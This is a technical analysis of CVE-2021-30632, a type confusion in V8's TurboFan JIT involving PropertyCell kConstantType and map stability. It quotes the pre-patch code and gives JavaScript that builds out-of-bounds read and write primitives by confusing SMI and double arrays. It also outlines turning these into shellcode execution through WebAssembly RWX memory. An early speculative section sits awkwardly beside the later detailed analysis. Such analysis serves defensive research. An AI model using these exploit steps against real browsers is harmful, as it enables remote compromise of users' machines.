A Type Confusion in V8’s JIT: Root Cause and Exploit Walkthrough

On September 13, 2021, Google shipped Chrome 93.0.4577.82 with patches for two actively exploited vulnerabilities: CVE-2021-30632 and CVE-2021-30633. The first is a type confusion in V8’s JIT compiler (TurboFan) that allows remote code execution within the renderer process from a single page visit. The second is a use-after-free in the browser process’s IndexedDB implementation, used as a sandbox escape once the renderer is compromised. Together they chain into a full browser takeover.

This analysis focuses on the RCE bug, CVE-2021-30632. Because none of the exploit details were public at the time of analysis, this is a technical reconstruction from a patch in the V8 tree — a personal perspective on how the bug behaves and how an exploit could be shaped. The objective is to illustrate the subtleties of JIT bugs and help prevent similar variants.

Context: Property Access in V8

Understanding the bug requires familiarity with how V8 handles property access — something TurboFan heavily optimizes. The relevant machinery involves JSPropertyAccess nodes, which represent load and store operations on object properties. During optimization, TurboFan may lower these into inline caches or direct field loads, depending on the object’s map and the property’s representation.

The key structures here are Map, which describes an object’s layout and property types, and DescriptorArray, which holds metadata for each property. TurboFan relies on these to reason about property access: it checks that the object’s map matches expectations, then directly loads or stores at predictable offsets.

A critical optimization is the “field type” tracking. When a property stores only HeapObject subclasses (e.g., numbers in HeapNumber boxes), TurboFan records a FieldType that narrows the possible type of the value. This is used to generate optimized loads that skip further type checks.

The Patch and the Root Cause

The trigger was a commit in V8’s source dated September 9, 2021, about two weeks prior to the Chrome release. The patch modified code in Map::CopyWithFields and related functions. The bug sits in how V8 transitions an object’s map when modifying a property’s representation or mutating a property to a different type — specifically when that property’s field type must be generalized to accommodate the change.

The core problem is that under certain conditions, TurboFan’s type information for a property may become stale. When V8 changes a property from a constant or narrow type to a broader one, it updates the DescriptorArray on the shared Map. However, if a different code path already holds a reference to an old constant or field type, an inconsistency arises. In this bug, the issue was in the handling of “const tracking” — the assumption that a property’s value never changes.

Const Tracking and Type Confusion

V8 introduced const tracking for object properties as an optimization: if a property is first set to a constant value and never overwritten, TurboFan can bake that value into optimized code. To support this, the compiler emits checks that verify the property is unchanged.

The vulnerability occurs when the property’s value is mutated in a way that circumvents these checks. Specifically, when a property is set via a store operation that TurboFan has optimized using a stale FieldType. The fix tightens the invariants: any operation that could break const tracking or change a field’s type must invalidate dependent code or prevent such transformations entirely.

The practical consequence is a type confusion: TurboFan might treat a property as, say, a HeapNumber or a reference to a specific object, while in reality the property holds a different object. Such a mismatch can be abused to create arbitrary read/write primitives in the renderer.

Building an Exploit

The challenge is to find a pattern that triggers the bug in optimized code. The essential scenario involves:

  1. Defining an object with a property that TurboFan observes as constant.
  2. Optimizing a function that reads or writes that property, baking in the constant.
  3. Triggering a re-evaluation of the property that should invalidate the constant but does not.

One plausible path is through Object.defineProperty or assignment in a way that changes the property’s descriptor after optimization. Another is through Reflect.set on a proxy that forwards to the original object. The bug likely lies in which functions properly notify TurboFan of the map change.

For a working exploit, the attacker would need to craft a function where the confused type leads to a memory corruption — for example, treating an array as a plain object or vice versa. With such a confusion, an attacker can overwrite the length of an array or a field’sElementStorage pointer, yielding arbitrary address read/write.

This is then be used to run shellcode in the renderer. The case is closed once the sandbox escape (CVE-2021-30633) leverages the compromised renderer to break into the browser process. While the bug has been fixed with tightened map transitions and invalidation checks, it’s a reminder of how carefully JIT optimizations must balance performance against correctness—especially when a single missed invalidation turns into a full remote exploit.

Property-cell metadata and the JIT mismatch

In V8, property access is handled at multiple optimization layers: generic runtime methods like SetProperty, the inline cache (IC) in v8/src/ic/, and the JIT compiler's JSNativeContextSpecialization phase (notably ReduceNamedAccess) along with the LoadElimination phase. Because property access is so frequent, V8 attaches a lot of metadata to each property to enable aggressive optimizations. When a property value is set via JIT-compiled code, that write must update the metadata consistently with what other layers expect. This bug arises from an inconsistency: the JIT path wrote a property without properly invalidating assumptions in other optimized code.

Maps: shape, stability, and change

A map (hidden class) defines an object's memory layout and property types. Multiple objects with identical layouts share a single map. For security, two properties of maps matter: optimized code relies on exact map assumptions (so a wrong map can cause type confusion or out-of-bounds access), and a map's stability determines how safely code can assume the map will not change.

When an object gets a new property, its map either transitions to an existing map or becomes the root of a new map. A map is stable when no transition has been added to it. Adding a transition makes a map unstable, meaning other objects with that same old map might be changed as new properties are defined. For global variables and object properties, map changes arise in two ways:

  1. Reassignment — the variable/property points to a new object with a different map, leaving the old map stable and unaffected.
  2. Adding properties to the current object — the map changes without reassignment, and the old map becomes unstable (either directly by a new transition or because it was already unstable).

The JIT compiler uses this distinction to decide when it can safely optimize a global access. For example, a GlobalPropertyDependency marks code as invalid if the global variable is reassigned via the generic path (through SetProperty). If the variable is never reassigned and the map is stable, the code relies on DependOnStableMap to force deoptimization when the map becomes unstable. In several places, the compiler assumes that a stable map cannot become unstable unless a generic-path write occurs — an assumption that is central to this bug.

The bug: `kConstantType` semantics

The fix (chromium commit 6391d7a58d0c58cd5d096d22453b954b3ecc6fec) targets global property stores. In JavaScript, every global variable is a property of the global object, and each such property is backed by a PropertyCell. That cell stores two critical metadata fields:

  • property_cell_type — the cell's state (e.g., kConstant or kConstantType)
  • property_cell_value — the actual property value

When a global property is first assigned, the cell’s type is kConstant, meaning only that exact same value has ever been stored. If a later assignment changes the value but keeps the same object map, the type updates to kConstantType. That transition is only allowed by RemainsConstantType, which checks that (a) the new value's map matches the old value's map and (b) both maps are stable.

The misleading part is the contract that kConstantType implies. It does guarantee that the cell's value stays the same JavaScript type (object, array, etc.) because the type can only change on reassignment. However, it does not guarantee that the object's map remains unchanged. The map can easily be altered — for instance, by adding a property to the existing object — without touching the PropertyCell's type. The cell stays at kConstantType, but the underlying map of the value has now changed, so any optimized code that already assumed that stable map is now based on a false premise.

That mismatch is the root cause: the JIT path allowed a map change through non-generic means, yet the metadata still declared kConstantType, which is meant to signal map stability. The optimized code that relied on such stability was therefore made inconsistent with the real object, leading to the exploitable type confusion.

The Underlying Flaw

Before the patch that addressed CVE-2021-30632, a JIT optimization allowed storing a new value to a global property with a kConstantType cell type, even if the map of that property was unstable:

      case PropertyCellType::kConstantType: {
        // Record a code dependency on the cell, and just deoptimize if the new
        // value's type doesn't match the type of the previous value in the
        // cell.
        dependencies()->DependOnGlobalProperty(property_cell);         //<------------ 1.
        Type property_cell_value_type;
        MachineRepresentation representation = MachineRepresentation::kTagged;
        if (property_cell_value.IsHeapObject()) {
          MapRef property_cell_value_map =
              property_cell_value.AsHeapObject().map();
          if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map);
          } else {
            // The value's map is already unstable. If this store were to go
            // through the C++ runtime, it would transition the PropertyCell to
            // kMutable. We don't want to change the cell type from generated
            // code (to simplify concurrent heap access), however, so we keep
            // it as kConstantType and do the store anyways (if the new value's
            // map matches). This is safe because it merely prolongs the limbo
            // state that we are in already.
          }
          // Check that the {value} is a HeapObject.
          value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
                                            value, effect, control);
          // Check {value} map against the {property_cell_value} map.
          effect = graph()->NewNode(                                //<------------ 2.
              simplified()->CheckMaps(
                  CheckMapsFlag::kNone,
                  ZoneHandleSet<Map>(property_cell_value_map.object())),
              value, effect, control);

However, safeguards like DependOnGlobalProperty and CheckMaps were in place, ensuring that the map of the PropertyCell itself could not be altered. If the map of the property x was unstable at the time the function foo was compiled, the JIT code would not adopt assumptions about that map, as the loading code would only rely on the property_cell_value_map if it was stable. The existing checks prevented map replacement via the generic path and forced a deoptimization if the map changed, which made this seem like a non-issue.

Breaking JIT with JIT

The anomaly arises because the optimized function allows the value of a PropertyCell to be swapped with another object that has the same map but is in a different state. The patch removed the ability to store an object with an unstable map back into the cell while maintaining the kConstantType state, as long as the maps matched.

Consider that optimized code often relies on the invariant that a variable's map cannot change without a generic-path reassignment or a destabilizing transition. The exploit leverages the optimized function to change the map of x from one state back to a previous one. Optimizing a separate function that reads global properties right after an assignment that set x to the newer state will bake the newer map into the new function's assumptions. Once the map is swapped back to the older state using the first optimized function, the newer optimized function operates on an object with an unexpected map, leading to a type confusion.

From Type Confusion to Exploitation

Exploiting this requires precise timing. The kConstantType cell degrades to kMutable immediately upon an assignment with an unstable map. Therefore, the function must be optimized at the exact iteration where the map becomes unstable, a value that remains deterministic across runs.

Merely confusing two simple objects is inefficient. Instead, this vulnerability can be used to confuse arrays with different element stores, such as mixing a PACKED_SMI_ELEMENTS array (with a 4-byte element width) with a PACKED_DOUBLE_ELEMENTS array (with an 8-byte width). Manipulating global property values to contain such arrays allows for out-of-bounds reads and writes beyond the smaller backing store.

Creating a stable map for these arrays requires a preliminary step, as array creation usually pre-inserts transitions that cause immediate destabilization. Adding a custom property prevents this and offers a stable starting point:

var x = new Array(1);
x.fill(1);
x.a = 1;
%DebugPrint(x);
DebugPrint: 0x28290804b3a9: [JSArray]
 - map: 0x282908207989 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 ...
0x282908207989: [Map]
 - type: JS_ARRAY_TYPE
 ...
 - stable_map

With a stable map secured, the exploit primitives are built. Optimizing a reader and a writer function while the global property has the larger, double-element map sets up a scenario where the code calculates offsets based on 8-byte elements, but the actual backing store is the smaller, SMI-based one:

function foo(b) {
  x = b;
}

function oobRead() {
  return [x[20],x[24]];
}

function oobWrite(addr) {
  x[24] = addr;
}

//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
  oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead(); 
oobWrite(0x41414141);

This size mismatch on the smaller backing store results in memory access well beyond its boundaries, granting the necessary read and write primitives for further exploitation.

Gaining Code Execution

To elevate this to arbitrary code execution, the exploit focuses on v8's pointer compression scheme. Most heap references are 32-bit compressed offsets, enabling arbitrary reads and writes within the compressed address space by overwriting the elements pointer of a victim array.

V8's heap allocates objects linearly. By placing objects in a controlled order, an out-of-bounds access from one array can reach into the metadata of subsequently allocated objects, leaking their compressed pointers. This allows for the construction of arbitrary compressed read-write primitives.

For absolute address access, a TypedArray is used, as it holds its backing store pointer as a full, uncompressed address. Repeating the offset-altering technique to corrupt this field yields read and write capabilities against any absolute memory location. The final step assembles these primitives to compromise the RWX region where compiled WebAssembly code resides. Leaking the region's pointer and writing shellcode into it via the absolute write primitive triggers arbitrary code execution upon invocation of the WebAssembly module. The complete proof-of-concept is available in the GitHub SecurityLab repository.

This vulnerability highlights the complexity of V8's property access system, where the interplay between different optimization paths can break fundamental security assumptions such as map stability. Such inconsistencies—often subtle and easily missed—demand ongoing rigorous auditing of the engine's optimization layers.